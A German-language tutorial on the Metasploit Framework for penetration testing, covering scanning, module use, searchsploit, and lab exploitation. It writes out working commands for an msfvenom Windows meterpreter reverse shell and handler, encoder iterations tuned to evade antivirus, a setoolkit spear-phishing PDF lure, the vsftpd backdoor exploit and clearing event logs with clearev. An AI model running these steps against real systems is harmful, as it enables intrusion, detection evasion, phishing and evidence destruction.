Metasploit (msf)
Das Metasploit Framework
Link: https://www.metasploit.com/
Metasploit ist Bestandteil der meisten Pen-Distros (zB Parrot)
Einrichten
systemctl start postgresql # Datenbank starten systemctl enable postgresql # Autostart der DB msfdb init # Initiierung msfconsole # msf Konsole starten db_status # DB abfragen workspace -a Lab # Workspace "Lab" anlegen workspace # Workspaces listen workspace -h # Zeigt die Hilfe für workspace
Backup
db_export -f xml /root/msfdb_backup # erstellt ein db-Backup
Footprinting
Das Footprintign bildet die Vorbereitung jedes Enemeration-Tests. Es setzt sich zusammen aus:
Ermitteln der Test-Methode
| Blackbox | Keine Informationen über die zu testende Umgebung |
| Greybox | Teilweise oder unvollständige Informationen |
| Whitebox | Vollständige Information, auch mit den nötigen Zugänge |
Erste Informationen sammeln
Dies können sein:
- Firmenname und andere Umgebungsinformationen sammeln
- Beschriftungen an Servern, Geräten usw beachten
- Social Hacking. Mit den Mitarbeitern sprechen/zuhören
Reconnaissance / Scanning
- Durchführen einfacher Scans, wie ping- Port- Versions- Scanning
- Zusammenstellen und Verwenden der für den Auftrag nötigen Tools
- Import von Daten anderer Werkzeuge wie Nessus oder GVM
- Metasploit Workspaces separieren und Daten konvertieren
Einen Scan Starten
Erster Scan mit nmap
nmap -p- -A -oX 192.168.178.34.xml 192.168.178.34 # Full Scan einer IP, Ausgabe in XML-Datei
In der Praxis ist es sinnvoll **.0/24 zu verwenden um ein komplettes C-Class NW zu analysieren.
MSF starten
msfconsole # startet msf workspace # Zeigt vorhandene Workspaces workspace -a Lab # erstellt neuen Workspace "Lab" workspace Lab # In Workspace wechseln show # Listet alle Module show auxiliary # Zeigt Module einer Kategorie search scanner # Sucht alle Scanningmodule
nmap xml importieren
workspace -a nmap # Workspace anlegen workspace nmap # zu Workspace wechseln db_import 192.168.178.34.xml # xml aus nmap importieren
nmap direkt in MSF verwenden
db_nmap -p- -T4 -A -v 192.168.178.0/24 # Full nmap-Scan, das Ergebnis wird im aktiven Workspace gespeichert db_nmap -sU -p161 192.168.178.0/24 --open # SNMP-Agent Scan
Scandaten verwenden
hosts # Anzeige der Hosts in der DB services # Zeigt gefundene Dienste in der DB vulns # Vulnerabilities Scan der vorhandenen Daten
Ein Modul verwenden
ls /usr/share/metasploit-framework/modules/ # Liste der vorhandenen Modulgruppen show auxiliary # Liste aller Module der Gruppe Auxiliary search scanner ssh # Sucht nach "scanner" und "ssh"
Die Liste ergibt die Gruppen: auxiliary encoders evasion exploits nops payloads post
Als Beispiel verwenden wir das Modul „ssh_version“ zur Bestimmung der SSH-Version
use auxiliary/scanner/ssh/ssh_version # Ein Modul zur Verwendung laden (info options) info # Zeigt Informationen show options # Zeigt alle Optionen set rhosts <Ziel-IP> # Ziel setzten run # Start hosts # Zeigt gefundene Hosts in der DB services # Zeigt gefundene Dienste in der DB
Hint: search ssh_version sucht nach dem Modul und nummeriert das Ergebnis → hier hat es die Nummer 3. Jetzt kann ich das Modul mit der Nummer ansprechen:
info 3 use 3
Hilfreiche Module
Portscanner
- auxiliary/scanner/portscan/udp_sweep
- auxiliary/scanner/portscan/xmas
FTP Scanner
- auxiliary/scanner/ftp/ftp_version
- auxiliary/scanner/ftp/anonymous
- auxiliary/scanner/ftp/ftp_login # Benötigt eine Passwortliste
SSH Scanner
- auxiliary/scanner/ssh/ssh_version
- auxiliary/scanner/ssh/ssh_enumusers # Options: USERNAME=root oder USER_FILE
- auxiliary/scanner/ssh/detect_kippo # Erkennt Honneypods
DNS Scanner
- auxiliary/gather/enum_dns # set DOMAIN fritz.box
WMAP Scanner
Eine Sammlung von Modulen um einen Webservice auf Schwachstellen zu scanen
load wmap wmap_sites -a http://192.168.178.3 # Site hinzufügen wmap_targets -t http://192.168.178.3/index.php # Zielseite hinzufügen wmap_run -t # Module werden vorbereitet wmap_run -e # Startet den Scan wmap_vulns -l # Schwachstellen auflisten
Sploits suchen
searchsploit Local Priv | wc -l # Zeigt Menge an gefundenen Treffer zu "Local Priv" Sploits searchsploit Local Priv |grep -i ubuntu # Schränkt die Suche um Treffer mit "ubuntu" ein
GVM Scans importieren
- Scan als xml aus GVM exportieren
- db_import /vollständiger/pfad/zur/scan.xml # xml in msf in den aktuellen Workspace importieren
Achtung: die IP der Ziele muss kontrolliert werden. Wird 127.0.0.1 statt der richtigen IP im xml angezeigt, kann die 127.0.0.1 vor dem Import mit sed durch die echte IP ersetzt werden
Nessus Scans importieren
- Scan als „nessus“ exportieren
- db_import /vollständiger/pfad/zur/My_Basic_Nessus_Scan.nessus
Schwachstellenanalyse
Die meisten Scanner liefern zu einer erkannten Schwachstelle die CVE-Nummer mit. Beispiel:
SSL Medium Strength Cipher Suites CVE-2016-2183
Eine Suche nach CVE-2016-2183 ergibt: https://enginsight.com/de/blog/cve-2016-2183-sweet32/
Zugriff auf Systeme
Begriffe Siehe: Grundlagen
| payload | Der Teil des Exploit der die Aktion ausführt |
| encoder | verändert den Binärcode um ein payload zu verstecken |
| Reverse Shell | Auf dem Ziel wird ein Payload ausgeführt welches das System anweist eine Shell zum Angreifer zu öffnen |
| Handler | Eine Funktion auf dem Angreifer der Sessions (zB ssh) automatisch entgegen nimmt |
| meterpreter | Eine Kosole auf dem Angreifer in der die Sessions verwaltet werden können |
msfvenom
msfvenom --list payload # Liste der verfügbaren payloads msfvenom --list encoder # Liste der Encoder
payload erstellen
- Architektur = x86 (IBM kompatible CPU)
- OS = Windows
- payload = reverse_tcp
- Zielhost = Parrot (mit IP)
- encoder = shikata_ga_nai (gute Wahl)
- Ausgabeformat= exe
- Name = /root/ms17-01.exe
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.178.37 LPORT=4443 -e x86/shikata_ga_nai -f exe -o /root/ms17-01.exe
Die erstellte *.exe auf den Windows-PC kopieren und ausführen
Handler starten
msfconsole use multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LPORT 4443 set LHOST 192.168.178.37 show options exploit
Wird das payload gestartet, startet der Server eine Verbindung zum Handler. Die reverse-Shell steht. Damit kann der Server ferngesteuert werden
Weitere Beispiele: msfvenom
Anti Maleware Evasion
Encoder
Wir versuchen ein payload bei aktivem Anti-Virus/Malware Schutz zu etablieren. Um vorab testen zu können ob ein Hack unerkannt bleibt kann er unter Virustotal gestestet werden.
Zuerst suchen wir einen geeigneten encoder
msfvenom --list encoder
Der shikata_ga_nai ist zwar sehr gut aber zu bekannt um noch unentdeckt zu bleiben. Welcher Encoder der beste ist muss getestet werden da es von der Sicherheitsstruktur der Zielsysteme abhängig ist. Für unser Beispiel wähle ich opt_sub.
Dazu erhöhen wir die Iterationen des encoder auf 5 Durchgänge mit -i 5
└──╼ $msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.178.37 LPORT=4443 -e x86/opt_sub -i 5 -f exe -o /root/ms17-02.exe
Virustotal listet 36 von 67 Anti-Malware Programme die den Payload erkennn. Aber 31 Scanner würden den Hack nicht erkennen.
setoolkit
… muss als root ausgeführt werden. Wir starten mit einer Social-Engineering Attacks und bestätigen mit 1 Select from the menu:
1) Social-Engineering Attacks 2) Penetration Testing (Fast-Track) 3) Third Party Modules 4) Update the Social-Engineer Toolkit 5) Update SET configuration 6) Help, Credits, and About 99) Exit the Social-Engineer Toolkit
Die Art der Attacke soll Spear-Phishing Attack Vectors sein
Select from the menu: 1) Spear-Phishing Attack Vectors 2) Website Attack Vectors 3) Infectious Media Generator 4) Create a Payload and Listener 5) Mass Mailer Attack 6) Arduino-Based Attack Vector 7) Wireless Access Point Attack Vector 8) QRCode Generator Attack Vector 9) Powershell Attack Vectors 10) Third Party Modules 99) Return back to the main menu.
Wir wollen ein PDF erstellen und wählen Create a FileFormat Payload
1) Perform a Mass Email Attack 2) Create a FileFormat Payload 3) Create a Social-Engineering Template
Als Dateiformat wähle ich „14“ → Adobe util.printf() Buffer Overflow
Das Payload wird jetzt definiert: „1“ → Windows Reverse TCP Shell und die weiteren eingaben getätigt:
- Localhost = IP zu der die Session gesendet werden soll (üblicherweise meine IP)
- Port = 443
Nach Erstellung der Datei kann ich sie gleich umbenennen → Endung nicht vergessen! zB Anleitung.pdf
Die Datei ist im Ordner /root/.set/ abgelegt.
ExifTool
Um ein Payload in einem Bild zu verstekchen verwenden wir ExifTool.
Zur Vorbereitung benötigen wir ein beliebiges Bild zB: flower.jpg.
Metadaten des Bildes anschauen
exiftool flower.jpg
Payload einbinden
Exploits erweitern
Hat ein Vulnability-Scan erkannt das eine Sicherheitslücke besteht, wie zB „Microsoft Windows - SMB Remote Code Execution Scanner (MS17-010)“ kann nach einem Exploit genau zu dieser Schwachstelle gesucht werden. Eine gute Seite neue Exploits zu erhalten ist https://www.exploit-db.com/
Eine elegante Methode ist searchsploit. Es muss in Parrot nachinstalliert werden:
git clone https://github.com/offensive-security/exploitdb.git /opt/exploitdb ln -sf /opt/exploitdb/searchsploit /usr/local/bin/searchsploit searchsploit -l
Mit searchsploit ein exploit zu suchen
searchsploit smb windows -w -t | grep MS17-010 # sucht ein smb exploit für Windows OS und filtert nach MS17-010 searchsploit MS17-010 windows -w -t # gleiches Ergebnis
Hinter dem Ergebnis kann die URL kopiert und in einem Browser verwendet werden oder Download mit wget:
wget -o 41891.rb https://www.exploit-db.com/download/41891 # Wobei 41891 die Nummer in der Ergebnis-URL ist
Bei wget muss die Datei mit -o umbenannt werden, da die Endung *.ru für Ruby fehlt.
Di e*.rb in den richtigen Ordner verschieben (es ist ein Windows/smb Modul)
mv /root/41891.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/
Neues Modul laden
msfconsole # Konsole starten reload_all # Alle Module neu laden (übernimmt neue Module) use exploit/windows/smb/41891 # Neues Modul verwenden
Ein Exploit verwenden
Wi rjaben im Scan erkannt das vsftp läuft. Diesen Dienst wollen wir kompromitieren.
msfconsole # Konsole starten search vsftp # Nach vsftp-Exploits suchen (vsftpd_234_backdoor gefunden) use exploit/unix/ftp/vsftpd_234_backdoor # Exploit verwenden show info # Zeigt Infos über das Exploit show options # Zeigt nötige und optionale Eingaben set RHOSTS <Ziel-IP> # IP des Zielsystems exploit # ausführen
Wenn die Schwachstelle existiert wird eine rootshell zum Zielsystem aufgebaut.
Spuren verwischen
Bei einer aktiven meterpreter-Session:
help # Zeigt die meterpreter-Hilfe clearev # Automatisches Löschen der Eventlogs eines Windows-Servers
Armitage
Armitage ist die GUI für Metasploit. Sie wird auf der Shell aufgerufen mit
armitage
Es eht ein Fenster mit der Anwendung auf. Achtung: Armitage ist im Netz sehr laut. Die Gefahr entdeckt zu werden ist nahezu unausweichlich.

